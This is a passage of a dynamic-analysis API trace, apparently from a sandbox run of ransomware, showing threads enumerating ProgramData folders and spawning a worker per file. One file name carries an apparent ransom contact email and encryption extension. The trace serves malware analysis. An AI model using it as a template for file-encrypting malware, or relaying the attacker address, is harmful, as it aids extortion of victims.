returned 0x93bdb0 [0141.837] wcscpy (in: _Dest=0x93bdb0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.837] wcscat (in: _Dest=0x93bdb0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.837] wcscat (in: _Dest=0x93bdb0, _Source="MS.VISIO_STD.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" [0141.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bdb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8 [0141.838] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.14.1033.hxn", cAlternateFileName="MSWINP~1.HXN")) returned 1 [0141.838] wcscmp (_String1="MS.WINPROJ.14.1033.hxn", _String2=".") returned 1 [0141.838] wcscmp (_String1="MS.WINPROJ.14.1033.hxn", _String2="..") returned 1 [0141.838] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93be28 [0141.838] wcscpy (in: _Dest=0x93be28, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.838] wcscat (in: _Dest=0x93be28, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.838] wcscat (in: _Dest=0x93be28, _Source="MS.WINPROJ.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" [0141.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93be28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc [0141.839] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.DEV.14.1033.hxn", cAlternateFileName="MSWINP~2.HXN")) returned 1 [0141.839] wcscmp (_String1="MS.WINPROJ.DEV.14.1033.hxn", _String2=".") returned 1 [0141.839] wcscmp (_String1="MS.WINPROJ.DEV.14.1033.hxn", _String2="..") returned 1 [0141.839] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x99d108 [0141.839] wcscpy (in: _Dest=0x99d108, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.839] wcscat (in: _Dest=0x99d108, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.839] wcscat (in: _Dest=0x99d108, _Source="MS.WINPROJ.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" [0141.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99d108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0 [0141.841] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.14.1033.hxn", cAlternateFileName="MSWINW~1.HXN")) returned 1 [0141.841] wcscmp (_String1="MS.WINWORD.14.1033.hxn", _String2=".") returned 1 [0141.841] wcscmp (_String1="MS.WINWORD.14.1033.hxn", _String2="..") returned 1 [0141.841] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93bea0 [0141.841] wcscpy (in: _Dest=0x93bea0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.841] wcscat (in: _Dest=0x93bea0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.841] wcscat (in: _Dest=0x93bea0, _Source="MS.WINWORD.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" [0141.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4 [0142.248] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.DEV.14.1033.hxn", cAlternateFileName="MSWINW~2.HXN")) returned 1 [0142.248] wcscmp (_String1="MS.WINWORD.DEV.14.1033.hxn", _String2=".") returned 1 [0142.248] wcscmp (_String1="MS.WINWORD.DEV.14.1033.hxn", _String2="..") returned 1 [0142.248] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x99d688 [0142.248] wcscpy (in: _Dest=0x99d688, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0142.248] wcscat (in: _Dest=0x99d688, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0142.248] wcscat (in: _Dest=0x99d688, _Source="MS.WINWORD.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" [0145.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99d688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0145.988] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x22e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="NSLIST~1.CD4")) returned 1 [0145.988] wcscmp (_String1="nslist.hxl.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0145.988] wcscmp (_String1="nslist.hxl.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0145.988] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x22e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="NSLIST~1.CD4")) returned 0 [0146.303] FindClose (in: hFindFile=0x8da190 | out: hFindFile=0x8da190) returned 1 [0149.116] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905360) returned 1 [0149.116] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d28f0) returned 1 [0149.116] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2668) returned 1 Thread: id = 1660 os_tid = 0x58c [0139.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x30) returned 0x8da980 [0139.692] wcscpy (in: _Dest=0x8da980, _Source="C:\\ProgramData\\Oracle" | out: _Dest="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle" [0139.692] wcscat (in: _Dest=0x8da980, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\") returned="C:\\ProgramData\\Oracle\\" [0139.692] wcscat (in: _Dest=0x8da980, _Source="*" | out: _Dest="C:\\ProgramData\\Oracle\\*") returned="C:\\ProgramData\\Oracle\\*" [0139.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9055c8 [0139.692] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\*", lpFindFileData=0x9055c8 | out: lpFindFileData=0x9055c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9c50 [0140.789] wcscmp (_String1=".", _String2=".") returned 0 [0140.789] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x9055c8 | out: lpFindFileData=0x9055c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.789] wcscmp (_String1="..", _String2=".") returned 1 [0140.789] wcscmp (_String1="..", _String2="..") returned 0 [0140.789] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x9055c8 | out: lpFindFileData=0x9055c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0140.789] FindClose (in: hFindFile=0x8d9c50 | out: hFindFile=0x8d9c50) returned 1 [0140.789] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9055c8) returned 1 [0140.790] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da980) returned 1 [0140.790] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da9b8) returned 1 Thread: id = 1661 os_tid = 0x65c [0139.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3e) returned 0x8d2938 [0139.692] wcscpy (in: _Dest=0x8d2938, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0139.692] wcscat (in: _Dest=0x8d2938, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0139.692] wcscat (in: _Dest=0x8d2938, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\*") returned="C:\\ProgramData\\Package Cache\\*" [0139.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905830 [0139.692] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\*", lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9420b0 [0141.137] wcscmp (_String1=".", _String2=".") returned 0 [0141.137] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.139] wcscmp (_String1="..", _String2=".") returned 1 [0141.139] wcscmp (_String1="..", _String2="..") returned 0 [0141.139] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1 [0141.139] wcscmp (_String1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", _String2=".") returned 1 [0141.139] wcscmp (_String1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", _String2="..") returned 1 [0141.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x8fcde0 [0141.139] wcscpy (in: _Dest=0x8fcde0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0141.139] wcscat (in: _Dest=0x8fcde0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0141.139] wcscat (in: _Dest=0x8fcde0, _Source="42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0147.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fcde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0147.815] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0147.815] wcscmp (_String1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", _String2=".") returned 1 [0147.815] wcscmp (_String1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", _String2="..") returned 1 [0147.815] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x9ac300 [0147.815] wcscpy (in: _Dest=0x9ac300, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.815] wcscat (in: _Dest=0x9ac300, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.815] wcscat (in: _Dest=0x9ac300, _Source="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0147.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9ac300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1418 [0147.816] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0147.816] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2=".") returned 1 [0147.816] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2="..") returned 1 [0147.816] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934138 [0147.816] wcscpy (in: _Dest=0x934138, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.816] wcscat (in: _Dest=0x934138, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.816] wcscat (in: _Dest=0x934138, _Source="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0147.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x934138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x141c [0147.820] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0147.820] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2=".") returned 1 [0147.820] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2="..") returned 1 [0147.820] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0xd4c8110 [0147.820] wcscpy (in: _Dest=0xd4c8110, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.820] wcscat (in: _Dest=0xd4c8110, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.820] wcscat (in: _Dest=0xd4c8110, _Source="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0147.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c8110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1420 [0147.821] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0147.821] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2=".") returned 1 [0147.821] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2="..") returned 1 [0147.821] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x935590 [0147.821] wcscpy (in: _Dest=0x935590, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.821] wcscat (in: _Dest=0x935590, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.821] wcscat (in: _Dest=0x935590, _Source="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0147.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1424 [0147.822] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0147.823] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2=".") returned 1 [0147.823] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2="..") returned 1 [0147.823] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0xd4c8620 [0147.823] wcscpy (in: _Dest=0xd4c8620, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.823] wcscat (in: _Dest=0xd4c8620, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.823] wcscat (in: _Dest=0xd4c8620, _Source="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0147.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c8620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1428 [0147.824] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0147.824] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2=".") returned 1 [0147.824] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2="..") returned 1 [0147.824] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935638 [0147.824] wcscpy (in: _Dest=0x935638, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.824] wcscat (in: _Dest=0x935638, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.824] wcscat (in: _Dest=0x935638, _Source="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0147.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x142c [0147.825] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", 